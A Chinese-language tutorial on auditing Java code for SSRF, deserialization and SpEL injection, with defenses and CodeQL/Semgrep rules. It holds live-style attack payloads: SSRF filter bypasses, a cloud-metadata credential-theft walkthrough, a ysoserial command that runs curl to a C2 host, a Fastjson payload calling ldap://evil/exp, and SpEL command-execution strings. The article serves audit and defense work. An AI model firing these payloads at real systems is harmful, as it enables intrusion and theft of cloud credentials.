引言:为什么 Java 是攻击者的"最爱"?
在 Java 应用安全审计的战场上,有三类漏洞占据了 RCE(远程代码执行)和内网渗透战果的半壁江山:SSRF(服务端请求伪造) 、反序列化漏洞 和 SpEL(Spring Expression Language)注入 。
这三者并非孤立存在。实战中它们往往形成一条完整的利用链:一个不起眼的 SSRF 可能成为触发内网中间件反序列化的导火索;一个看似无害的配置功能点,可能因为 SpEL 表达式解析而直接 RCE;而一个反序列化入口,配合存在年限久远的 Gadget 链,可以让攻击者在三次 HTTP 请求内拿下整个 IDC 的控制权。
与 PHP、Python 不同,Java 生态的特点决定了它的漏洞模式:
- 框架高度封装 :开发者很少直接操作 Socket,而是通过
RestTemplate、HttpClient、OkHttp等封装库,这导致 Sink 点隐蔽且多样。 - 依赖树庞大:一个 Spring Boot 项目动辄引入数百个 JAR 包,任何一个组件中存在 Gadget 链,都可能成为整个应用的"阿喀琉斯之踵"。
- 反射机制泛滥:SpEL、OGNL、MVEL、Groovy 等表达式语言与反射的组合,让"数据即代码"的风险无处不在。
本文将从实战审计的角度出发,逐层拆解这三类漏洞的触发场景、代码特征(Sink 特征)、审计方法、绕过技巧以及修复方案,并给出可直接落地的 CodeQL/Semgrep 审计规则。无论你是甲方安全工程师做自查,还是乙方红队拿源码后快速突破,这篇文章都希望成为你工具箱里那把最顺手的手术刀。
第一章:SSRF------Java 场景下的请求伪造全解析
1.1 Java SSRF 与其他语言的差异
很多有 PHP 审计经验的同学转到 Java 后会水土不服。PHP 中一句话就能触发的 SSRF(如 file_get_contents($url)),在 Java 中变成了一堆工厂类、连接池和 Builder 模式的组合。但恰恰是这种"多样性",带来了更多的审计盲区。
Java SSRF 的核心特征:
- 协议支持的天然限制与扩展 :
java.net.URL原生支持http、https、file、ftp、jar协议。其中file://可导致任意文件读取,jar://配合某些场景甚至可以读取嵌套包内容。 - HTTP 客户端生态碎片化 :同一个项目中可能同时存在 Apache HttpClient、OkHttp、RestTemplate、Hutool 的
HttpUtil、原生的HttpURLConnection。审计时必须覆盖全部客户端,漏掉一个就可能错过一个高危接口。 - DNS 解析行为可控性差:多数 Java HTTP 客户端在校验 URL 和发起请求之间至少进行两次 DNS 解析,且默认开启 JVM 级 DNS 缓存(默认缓存 30 秒,安全策略下永久缓存),这给 DNS Rebinding 攻击留下了不同的时间窗口。
1.2 高危 Sink 点全景清单
以下是从真实项目审计中沉淀下来的 Sink 清单,按出现频率排序:
【Sink 1】原生 HttpURLConnection
java
String url = request.getParameter("url");
URL u = new URL(url);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod("GET");
conn.connect(); // 触发请求
这是 JDK 自带的最底层方式。注意 new URL() 本身不会发包,真正的请求发生在 connect() 或获取输入流时。同时,如果后续调用 getImage()、getAudioFileLength() 等方法也会隐式触发网络请求。
【Sink 2】Apache HttpClient(使用频率最高)
java
HttpGet httpGet = new HttpGet(targetUrl); // targetUrl 用户可控
CloseableHttpResponse response = httpClient.execute(httpGet); // Sink
重点排查 execute() 调用,包括 CloseableHttpClient.execute()、RequestBuilder 构建的任意方法请求。Fluent API 风格的 Executor.execute() 同样需要覆盖。
【Sink 3】RestTemplate / WebClient(Spring 体系)
java
restTemplate.getForObject(userUrl, String.class);
restTemplate.exchange(url, HttpMethod.POST, entity, String.class);
webClient.get().uri(path).retrieve().bodyToMono(String.class);
Spring 项目中最常见。特别注意:Spring Cloud 场景下,微服务间的 Feign 调用如果目标地址来自数据库或配置中心用户可写区域,同样是可利用的 SSRF 。
【Sink 4】OkHttp
java
Request request = new Request.Builder().url(craftUrl).build();
client.newCall(request).execute();
Android 端和部分高性能后端服务常用。
【Sink 5】Hutool 工具包(国内项目重灾区)
java
HttpUtil.get(url);
HttpRequest.get(url).execute();
国内中小公司项目大量使用 Hutool,一行代码完成 HTTP 请求,这正是审计的重点对象------一行代码意味着开发者在写它的时候几乎没有安全考虑。
【Sink 6】XML 外部实体隐藏型 SSRF
xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/secret">]>
<foo>&xxe;</foo>
XXE 本质上是 SSRF 的一种特殊形式。凡是 XML 解析入口(DocumentBuilderFactory、SAXParser、XMLReader、XStream 等)若未禁用外部实体,都可以作为 SSRF 跳板探测内网。
【Sink 7】图片处理与文件加载的隐性请求
java
ImageIO.read(new URL(imageUrl)); // 远程图片读取
new BufferedImage(...);
Font.createFont(Font.TRUETYPE_FONT, new URL(fontUrl)); // 远程字体加载
BufferedReader reader = new BufferedReader(new InputStreamReader(new URL(u).openStream()));
业务上典型的触发点是"用户提交头像 URL → 服务端拉取图片生成缩略图",以及报表系统中"上传远程 Excel/模板 → 服务端下载解析"。
1.3 实战审计:如何系统性发现 SSRF
第一步:定位外部输入入口。
以 Java Web 为例,重点标记以下 Source:
java
request.getParameter(...)
@RequestBody DTO 对象中的 URL 字段
@PathVariable / @RequestParam
JSON 反序列化后的属性(Jackson/Fastjson)
从数据库读出的"历史存储 URL"(二次注入视角)
配置中心动态下发的地址(Nacos/Apollo 若可写则视为 Source)
第二步:正向追踪 + 反向回溯双向夹击。
- 正向:沿着参数流追踪其是否进入上述任一 Sink。
- 反向:全局搜索所有
openConnection、execute(、HttpUtil.关键字,再反向确认入参来源。
对于大型项目,手动追踪容易遗漏,建议用 CodeQL 固化数据流规则(本章末尾给出)。
第三步:识别校验逻辑缺陷。
找到 Sink 后,重点审查与其关联的过滤函数。常见的"伪防御"如下:
1.4 防御绕过技巧手册
绕过手法一:IP 校验符号层面绕过
开发常见写法是对字符串做黑名单匹配:
java
if (url.contains("127.0.0.1") || url.contains("localhost")
|| url.contains("192.168.") || url.contains("10.")) {
throw new SecurityException("禁止访问内网");
}
可用的绕过变形(不限于此):
| 变形方式 | 示例 |
|---|---|
| IPv6 映射 | http://[::ffff:127.0.0.1]/ |
| 十进制整数 IP | http://2130706433/ |
| 八进制 | http://0177.0.0.1/ |
| 十六进制 | http://0x7f000001/ |
| DNS 泛解析域名 | http://localtest.me/(指向127.0.0.1) |
| 短域名/零压缩 | http://[::1]/ |
| 添加冗余信息 | http://127.0.0.1#@evil.com |
| 大小写混合关键字 | 部分未 toLowerCase 的 contains 判断 |
| 302 重定向跳转 | 校验通过的公网域名 → 302 跳转内网 |
| 其中 302 重定向是最经典的绕过:校验逻辑只检查首次 URL,但 Java HttpClient 默认遵循重定向,最终落在内网。 | |
| 绕过手法二:DNS Rebinding | |
Java JVM 默认的 InetAddressCachePolicy 将正确解析结果缓存 30 秒、失败结果缓存 10 秒。这意味着如果应用在"校验阶段"先调用了 InetAddress.getByName()(结果被缓存),又在"请求阶段"复用缓存的 IP,则标准 Java 应用对 TTL=0 的 Rebinding 天然有一定抵抗力------但前提是校验确实提前执行了解析。 |
|
反过来讲,如果校验只是字符串层面(contains 判断)而没有真正做过 DNS 解析,那么设置极短 TTL(甚至 TTL=0 每次解析不同),第一次解析返回合法公网 IP 通过校验,第二次实际连接时返回 169.254.169.254,即可稳定击穿。审计时的判断要点就是:校验是否基于"解析后的 IP"而非"URL 字符串"。 |
|
| 绕过手法三:file:// 协议读文件 | |
| 很多过滤只针对 HTTP 相关的黑名单,忘了 Java 还支持: |
file:///etc/passwd
file:///C:/Windows/win.ini
jar:file:///opt/app/lib/application.jar!/BOOT-INF/classes/
jar: 协议可以打包下载远端 JAR 并解压读取其中文件,部分老版本 JDK 上还可造成性能 DoS(jar 协议连接不释放)。
绕过手法四:gopher/dict 等特殊协议在 Java 侧的限制
与 curl 不同,Java 原生 URL 不支持 gopher://,所以打内网 Redis 的经典姿势在纯 Java SSRF 里通常不可行(除非目标是 PHP/C 的服务)。此时替代思路是:
- 利用 HTTP 支持 CRLF 注入(
%0d%0a)在特定客户端版本构造畸形请求(需 HttpClient 未禁用 CRLF 编码,JDK 较新版本已封堵); - 直接对已知内网 HTTP 服务发送恶意 payload。
1.5 靶场推演:一次完整的云环境 SSRF 打击链
假设审计目标是一个部署在某云上的 ERP 系统,发现如下接口:
java
@PostMapping("/api/common/proxy")
public Response proxy(@RequestBody UrlDTO dto) {
if (dto.getUrl().startsWith("http")) {
return rest.postForObject(dto.getUrl(), null, Response.class);
}
...
}
这里仅校验了协议前缀。打击步骤:
- 用
file:///proc/self/environ探测环境变量,确认运行环境、AWS 密钥是否存在; - 探测元数据:常规直连
169.254.169.254被防火墙拦截; - 使用反弹技巧:租用可控域名 + HTTP 302 重定向到
http://100.100.100.200/latest/meta-data/ram/security-credentials/role-name(阿里云场景),拿到 STS 临时凭证; - 用临时凭证列出 OSS Bucket,发现包含员工身份证件照片,渗透结束------全程三个请求,零入侵痕迹写入磁盘。
这个案例说明:元数据服务 + 重定向,是 Java SSRF 最具杀伤力的组合拳。
1.6 修复方案:三道防线缺一不可
审计报告中给出的修复建议必须分层:
第一道:协议白名单
java
private static final Set<String> ALLOWED = ImmutableSet.of("http", "https");
URL u = new URL(raw);
if (!ALLOWED.contains(u.getProtocol().toLowerCase())) throw ...;
第二道:基于解析后 IP 的校验(防 Rebinding 核心)
java
InetAddress[] addresses = InetAddress.getAllByName(u.getHost());
for (InetAddress addr : addresses) {
// 禁止私有网段、环回、链路本地(169.254)、组播等
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
|| addr.isLinkLocalAddress() || addr.isAnyLocalAddress()) {
throw new SecurityException("SSRF blocked: " + addr.getHostAddress());
}
}
// 关键:直接用已解析的 IP 建立 Socket,而不是再次传 hostname 给 HttpClient,
// 并把 Host 头固定为原始域名 ------ 这样杜绝了第二次 DNS 解析带来的时间窗
第三道:禁用自动重定向 + 强制 HTTPS/代理出口
对所有外呼统一走指定的 Egress Proxy(出网代理),应用服务器本身对内网路由做 VPC/安全组隔离------即使代码被打穿,网络层也出不去。云上配置将实例 IAM 权限最小化,关闭 V1 元数据接口、启用 IMDSv2(强制 PUT Token + TTL 上限)。
第二章:Java 反序列化------攻防对抗史上的"活化石"
2.1 为什么 Java 反序列化能 RCE?
要理解 Java 反序列化漏洞的本质,先理解 readObject() 的行为:它不是简单地还原字段值,而是递归地调用类的 readObject/readResolve/readExternal 方法 ------也就是说,恢复对象的过程本身就是一段"代码的执行过程"。如果这条递归路径上的某个类,在其方法体里做了"危险操作"(反射调用、命令执行、JNDI lookup),并且这些操作的参数来自序列化数据中的可控属性,那么攻击者无需知道任何业务接口,只需构造一条"对象链条"(Gadget Chain),就能让 JVM 在反序列化的瞬间替他执行任意指令。
打个比方:业务代码只想让你还一张借书卡,而你塞给它的是一叠多米诺骨牌,最后一张牌被点燃时正好烧掉了书架。
2.2 入口盘点:数据是如何进入 readObject 的
反序列化漏洞成立的两个前提:不可信数据到达反序列化函数 + classpath 中存在可用 Gadget。第一前提的入口极其多样化:
| 入口类型 | 典型代码特征 | 实战中高频场景 |
|---|---|---|
| HTTP 参数 | ObjectInputStream.readObject(request.getInputStream()) |
老旧的 RPC 网关、Netty 传输通道 |
| Base64 字段 | 先 decode 再 readObject |
报文透传、报表打印功能 |
| Cookie/Session | Shiro RememberMe、WebLogic Session | 历史上最大规模的真实攻击源 |
| RMI/JNDI | Registry.lookup()、InitialContext.lookup(name) |
内网横向的核心武器 |
| 消息队列 | ActiveMQ ObjectMessage、RabbitMQ 序列化帧 | 拿下一个消费者 = 拿下一批机器 |
| 缓存 | Redis 中的 JDK 序列化 value | 结合 Redis 未授权访问连环爆 |
| 中间件管理端口 | WebLogic T3/IIOP、JBoss JMXInvokerServlet、Fastjson GraphQL | 各大攻击事件的主角 |
| Shiro RememberMe 案例详解(审计必看): |
java
Cookie cookie = getCookie("rememberMe"); // Base64(AES(payload))
byte[] bytes = cipher.doFinal(Base64.decode(cookie)); // AES-CBC 加密
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
ois.readObject(); // <--- 只要密钥已知,payload 即为攻击者完全掌控
它的致命之处在于:早期版本使用了硬编码的默认 AES Key (kPH+bIxk5D2deZiIxcaaaA== 及数十个变种),导致即使最新版本 Shiro,只要开发没换 Key,依然是"无版本差别"的通杀 RCE。所以审计 Shiro 项目时,先别看版本号,先全局搜 Key 定义和 Key 是否来自配置文件/硬编码。
2.3 Gadget 库地图:classpath 决定杀伤半径
审计的第二步是解析 pom.xml / build.gradle,对照 Ysoserial 已知链:
| 依赖组件 | 经典 Gadget | 危险触发点 |
|---|---|---|
| Commons-Collections ≤3.2.1 | CC1/CC3/CC5/CC6/CC7 | Transformer 链 → Runtime.exec |
| Commons-Collections 4.x | CC2/CC4 | 优先级队列 → TemplatesImpl |
| Commons-Beanutils | CB1 / Shiro 用(无 CC 依赖也适用) | Shiro 环境 G 首选 |
| Spring Core | Spring1/Spring2 | MethodInvokeTypeProvider |
| JDK ≤8u71 内置 | JRMPClient / Jdk7u21 | 无第三方依赖时的兜底 |
| Groovy | Groovy1 | ConvertedClosure |
| Hibernate/Javassist | AnnotationsImpl | 结合 Tomcat 常见 |
| C3P0 | C3P0(hex base 连接池远程类加载) | 数据库组件池场景 |
| Hessian / XStream | 不同机制反序列化 | 多为 Fastjson 类似打法 |
| 审计实操要点: | ||
| 用 Maven 命令快速导出依赖树并检索关键组件: |
bash
mvn dependency:tree -DoutputFile=deps.txt
grep -E "commons-collections|commons-beanutils|xstream|shiro-core|hessian" deps.txt
发现 commons-collections 版本号是 3.1/3.2/3.2.1?直接标记为高危,继续找入口即可基本坐实风险。
2.4 从 Crash 到可利用 Payload:ysoserial 实战流程
假设确认了某个老旧 ESB 平台存在 /services/.jmxinvokerservlet 端点接收二进制序列化数据:
-
生成 Payload :
bashjava -jar ysoserial.jar CommonsCollections6 'curl http://你的C2/shell' > pwn.serCC6 相比 CC1 不依赖 JDK 版本细节,兼容性好,通常第一个尝试。
-
Bypass 执行器缺失问题 :Java 开发环境常没有 bash,推荐命令改写为
bash -c {echo,Y3VybCA...}|{base64,-d}|bash形式避免空格与引号转义坑。 -
流量特征规避:传统 shiro key 数十个变体逐一尝试太慢,写脚本并发探测即可。
-
验证方式升级:不要只靠 DNSLog,CC6 支持反连 STAGER(JRMP Listener)作为更可靠的后验证手段。
2.5 不依赖 CC 链的新战场:Fastjson / Jackson / XStream
现代 Java 项目的反序列化面已经不止原生 JDK 序列化了:
Fastjson autoType RCE:
json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil/exp","autoCommit":true}
审计点:检查 fastjson 版本、是否设置 safeMode、ParserConfig.setAutoTypeSupport(false) 状态。1.2.83 之后虽有 autoType 白名单加固,但黑名单绕过的历史证明:只要开启 autoType 就有持续被绕过的可能,唯有 safeMode 才是一劳永逸的方案。
Jackson enableDefaultTyping / activateDefaultTyping:
java
mapper.activateDefaultTyping(ptv) // 恶意 JSON 中给出 ["xxx","payload"] 即可注入任意类
普通 Jackson 若未启用多态类型,JSON 不会执行 setter 之外的代码,相对安全。审计重点是排查 enableDefaultTyping 字样及继承自 JsonTypeInfo.Id.CLASS/MINIMAL_CLASS 的 DTO。
XStream :
历史 CVE 极多(每次都是"同一根因换了分类"),审计 XML 使用面时优先检查 xstream.setupDefaultSecurity(xstream) 是否被调用。
2.6 防御纵深设计
-
首选彻底消除入口 :所有对外接口禁止原生
readObject;通信改 JSON(严格白名单字段);使用 gRPC + Protobuf 替代历史遗留 RMI。 -
JEP 290 / Serialization Filter (Java 8u121+ 官方方案):为 JVM 设置序列化过滤器白名单。
bash-Djdk.serialFilter='!*;java.util.HashMap;com.example.model.*'注意过滤器保护的是 readObject 层(agent 层除外),不是万能的,但能把绝大多数通用 Gadget 路径掐断。
-
依赖卫生学 :定期运行
dependency-check/ Snyk CI 任务,对 CC、CB、XStream 这几大惯犯保持高压;无法升级的老系统,可将危险类排除在 classpath 外(例如删除无关 Transformer 实现)。 -
临时补丁矩阵:尽快把 Shiro 私钥改造为强随机 Key 从 KMS 加载;清理 weblogic/jboss 组件暴露在 DMZ 区外的管理端口。
第三章:SpEL 注入------框架里的"_eval",最常见的隐形 RCE
3.1 SpEL 到底有多强?
Spring Expression Language 设计初衷是为了给 Spring 容器的注解、XML 配置提供一种简洁的值求值语法。但因为它天然具备类加载、静态方法调用、Bean 引用、方法反射调用的能力,一旦任意用户可控字符串被当作表达式解析,等效于直接获得 RCE:
java
String expr = request.getParameter("expr"); // T(java.lang.Runtime).getRuntime().exec("id")
Expression e = parser.parseExpression(expr); // 🚨 Sink!
e.getValue(evaluationContext); // 返回命令输出对象
在最完备的表达式能力下,攻击者可以做任意事:
-
读写文件:
T(org.apache.commons.io.IOUtils).toString(T(java.nio.file.Files).newInputStream(T(java.nio.file.Paths).get('/etc/passwd'))) -
执行命令:
spelnew java.lang.ProcessBuilder({'/bin/bash','-c','whoami > /tmp/o'}).start() -
操纵容器上下文:
@applicationContext.getBean('dataSource') -
组合任意 Bean 劫持调度器等。
同类的 Java 表达式还有 OGNL(Struts2 罪魁)、MVEL、JEXL、Groovy shell、FreeMarker<#assign>、Velocity$!{}------这些统称模板/EL 注入家族,思路一致,均在本次检查范围内。
3.2 实战高发场景清单
场景 A:规则引擎 & 工作流引擎的自定义条件
很多低代码平台允许管理员编写表单联动公式,实际实现就是拿 SpEL 解析:
java
parser.parseExpression(ruleDto.getCondition());
审计看到这类"表达式编辑器""规则配置" UI 时,九成九背后就是 SpEL。即使需要 Admin 权限(认证后才可达),也属于关键逻辑漏洞,务必入库。
场景 B:权限校验表达式(PreAuthorize 参数拼接错误)
java
@PostAuthorize("returnObject.owner == authentication.name")
@GetMapping("/user/{name}")
public User get(@PathVariable("name") String name) {
return userService.findByName(name);
}
如果开发把变量拼进注解字面量之外的运行时表达式里(比如通过 SecurityExpressionHandler.parse(input)),就产生了绕过边界。审计建议顺手 grep 所有 parseExpression 出现位置人工复核。
场景 C:数据字典/字段级映射公式
Dynamic field mapping、ES Search DSL 拼装前的预计算等都可能是高危注入点。
场景 D:邮件模板/短信模板渲染不当
像 FreeMarker/Velocity 一类模板引擎严格意义上比 SpEL 更危险(能 new object),很多新闻说"SpEL RCE"实际是 velocity,做法是把用户 submit 内容传进 TemplateLoader 时未被隔离编译。审计原则:模板来源于 DB 且后台允许编辑者非超管的话,视同 RCE 风险。
3.3 Sink 精确定位与审计 grep 速查
给你一套开箱即用的高效定位策略:
bash
# 第一梯队:强特征
rg -n 'parseExpression\(' --type java
rg -n 'StandardEvaluationContext' --type java
rg -n 'SpelExpressionParser' --type java
# 第二梯队:周边语义提醒
rg -n '(SimpleEvaluationContext|MVEL\.eval|OgnlContext|groovy.lang.Binding)' --type java
rg -n 'freemarker.template.Configuration|VelocityEngine' --type java
命中后,往上游追两件事:
- 入参最终拼出的字符串里有没有来自 Controller 层的用户数据(含 DB 二次读取)?
- EvaluationContext 用的是哪一个?
3.4 关键分支:StandardEvaluationContext vs SimpleEvaluationContext
这是高级审计面试中最常考察的知识点,也是工程治理的分水岭:
| 维度 | StandardEvaluationContext | SimpleEvaluationContext |
|---|---|---|
类型引用 T(...) |
✅ 允许加载任意类 | ❌ 只支持 primitive/String |
构造器 new ... |
✅ | ❌ |
Bean 引用 @bean |
✅ | ❌ |
| 集合筛选 projection | ✅ | 部分支持 |
| 典型安全性 | 任意 RCE | 仅属性导航/方法安全调用(仍有反序列化边界风险) |
所以修复规范的一票否决项就是:对外部输入解析一律切到 SimpleEvaluationContext;确有必要保留完整能力的内部表达式(如 admin 平台),则叠加:独立沙箱子进程 / SecurityManager 白名单类加载器(在新 JDK 已弱化)/ 明确的最小权限角色 gating + 操作日志审计。 |
3.5 进阶防御:当不得不保留 StandardEvaluationContext
企业场景总有插件式表达式需求,评估如下折中:
- 表达式长度、复杂度限流:parse 之前做 AST 节点数上限检查;
- 自定义 EvaluationContext :覆写
lookupVariable/method resolver 只放行白名单 method list; - VM 级隔离:放到独立 pod/subprocess 中跑,即便 RCE 也砸不到主数据;
- 表达式预签名:把 admin 编辑的表达式保存后用 HMAC 签名,运行端验签后再 parse,防止热更新被篡改。
第四章:三类漏洞的联合攻击面与链式组合
单点漏洞各有危害,但在红队视角下把它们"串起来玩",威力才彻底释放。下面给几个经过脱敏的真实链路模型。
链路一:SSRF → 内网中间件反序列化 → 全域失陷
外网只暴露了一个普通的"网页快照预览"功能,存在受限 SSRF(仅 HTTP)。原本大家以为只能扫扫内网 404 页面。但实际上该网络内的 Jenkins Script Console 恰好有个 ?api=json 路径可达,且后台进程 classpath 存在 xstream------通过 POST 一个精心构造的反序列化 body,Jenkins Master 沦陷 → 拿到 k8s pod token → 读 ServiceAccount Secret → 接管生产集群。整条链的起点只是一个"看起来很无害的预览按钮"。因此审计时:任意 SSRF 都值得花半小时测绘下游内网资产再评估严重度。
链路二:Fastjson Entry → JDNI 外带 → Cloud Escape
某 ToB SaaS 后台业务允许导入 JSON 报表 Schema,fastjson 处理处被打开 autoType 攻击面 → 在出网被封禁的内网环境中,采用 LDAP Referral + JRE 高版本 TrustURLCodebase=false 的环境下,用常见的 LocalFactoryGadget(Tomcat-based Gadget、Groovy etc.)落地 SUID 文件改造计划任务或 agent 加载 → 进入主机 → 读 metadata 获取 AccessKey(衔接前章 SSRF 打法)。这类组合在公司租户隔离不足的多云架构中非常高发。
链路三:低权限 Admin 功能 → SpEL → 主机逃逸 → Kerberos 狼人杀
内网 HR 系统的管理员可以自定义计算每个岗位匹配度,以 SpEL 实现。攻击者利用弱口令打通低权 admin → 在表达式中注入 T(java.lang.Runtime) 类调用 openConnect 到 /root/.ssh/id_rsa → 后续随意横移内网。整条链再次印证那句老话:"漏洞不在高手过招处,而在没人多看一眼的功能开关里。"
第五章:自动化工具赋能------让规则替你熬夜盯梢
前面讲了大量人工思路,这一节把它沉淀成可持续产出。
5.1 CodeQL 模板速查
这里集中给出可直接 Copy 的查询片段:
SSRF Source-to-Sink(通用 HTTP 客户端聚合)
ql
import java
class UnsafeSource extends DataSource {
UnsafeSource() { this = sourceNodeFromExternal() }
}
from UnsafeSource src, MethodAccess sink, Callable caller
where
caller.hasAnnotation("org.springframework.web.bind.annotation", "PostMapping") and
src.getASuccessorSinkPath(sink) and
sink.getMethod().hasName(["execute", "getForObject", "postForObject", "openConnection", "openStream"])
select sink, "User-controlled $@ reaches HTTP client via $@", src, "source", caller, "controller"
(实际部署请替换为你自己库的 Request-Mapping Model;CodeQL 新版 Java Query 包已内置 Spring MVC 框架模型,直接引用 semmle.java.frameworks.spring.SpringRequestMappingAnnotatedCallable 即可少写一半胶水代码。)
Deserialization Sink Scan
ql
import java
class ReadObject extends Method {
ReadObject() { this.getDeclaringType().hasQualifiedName("java.io", "ObjectInputStream")
and this.hasName("readObject") }
}
from ReadObject ro
where exists(DataFlow::PathNode source | source.getNode().asExpr().getFile() != ro.getFile())
select ro, "Potential entry-point for untrusted deserialization."
SpEL Eval Injection
ql
import java
class SpelParseSink extends MethodCall {
SpelParseSink() {
this.getMethodName().matches("parseExpression") or
this.getCallee().getDeclaringType().hasName("SpelExpressionParser")
}
}
from DataFlow::PathNode userSrc, SpelParseSink sink
where DataFlow::flowPath(userSrc, sink)
select sink.getNode(), "SpEL injection from user input at $@.", userSrc.getNode(), "here"
5.2 Semgrep 快扫(CI 友好)
适合没条件搭 CodeQL Pipeline 的团队做日常守门员:
yaml
rules:
- id: java-ssrf-generic
languages: [java]
severity: ERROR
message: "Possible SSRF via generic HTTP client execution"
patterns:
- pattern-either:
- pattern: $CLIENT.execute($REQ)
- pattern: HttpUtil.$METHOD($URL)
- pattern: new URL($RAW)
- pattern-inside: |
$RET $FUNC(...) { ... }
- id: java-spel-parse-userinput
languages: [java]
severity: CRITICAL
message: "Unsafe SpEL expression parsing (potential RCE)"
patterns:
- pattern: $PARSER.parseExpression($EXPR)
- pattern-not: $PARSER.parseExpression("...")
补充强建议:基础设施扫描一样重要 ------ 把镜像里的杂乱 Buildpack 项目中剔除过的旧 jar 用 trivy fs --scanners vuln,misconfig,license 定期拉出来对账。因为上面讲的 deserialization faces 往往躲在企业内部不通公网的 legacy-war-file 里。
第六章:从一次 CVE 到下一次 CVE:反哺行业思考
回顾这三条漏洞族谱:SSRF 走向"云原生限定"的精确打击,反序列化演进到 autoType/多态的反反复复补丁大战,SpEL 则从纯理论落到了每一家伪 low-code 产品安全心的细节打磨。可以看出的共同趋势是:
- 从内存破坏回归逻辑滥用:当代企业应用几乎不会再遇到栈溢出类 RCE,95% 以上都源自对框架能力边界的低估;
- 修补成本随组件化水涨船高:一个"安全的 SpEL 沙箱"从立项到合规验收往往超过一年周期,远长于 n-day patching;
- AI 辅助审计已成为次世代标配 :在现代研发流水线中,深度语义分析工具与 LLM 结合正成为常态------LLM 能读懂 grep 需要看才能懂的上下文关系(例如自动判断
$EXPR上游是不是真的与 RequestHandler 绑定),大幅降低 False Positive;而人类审计师的宝贵精力则应该集中在规则始终难写好的业务异形逻辑上。分工在变化,但这门手艺的核心------"以攻击者的想象力去阅读他人留下的接口"------从未过时。